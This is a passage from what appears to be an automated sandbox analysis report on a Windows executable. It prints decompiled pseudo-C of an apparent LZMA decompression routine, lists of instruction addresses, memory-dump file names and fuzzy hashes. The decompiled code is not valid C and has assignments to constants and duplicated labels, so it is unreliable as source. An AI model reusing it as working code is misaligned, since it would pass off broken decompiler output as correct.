														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406365
0x00406365
0x00406369
0x00406376
0x00406380
0x00000000
0x0040636b
0x0040636b
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00406614
0x00406617
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00406614
0x00406614
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x00000000
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00406690
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00000000
0x00406696
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406617
0x00406614
0x00000000
0x00406369

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 204a14aa4723f8bacec733d7555320540fe203445ac57d520a52ca53e11fdb0c
Instruction ID: aa40489b15165fca9e2d73c9723ecf3d5b4a768092768a0400057c9dc9ec6b69
Opcode Fuzzy Hash: 204a14aa4723f8bacec733d7555320540fe203445ac57d520a52ca53e11fdb0c
Instruction Fuzzy Hash: F6714471D04229CFDF28CF98C844BAEBBB1FB44305F25816AD816BB281D7785A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004062B1, Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004062B1() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
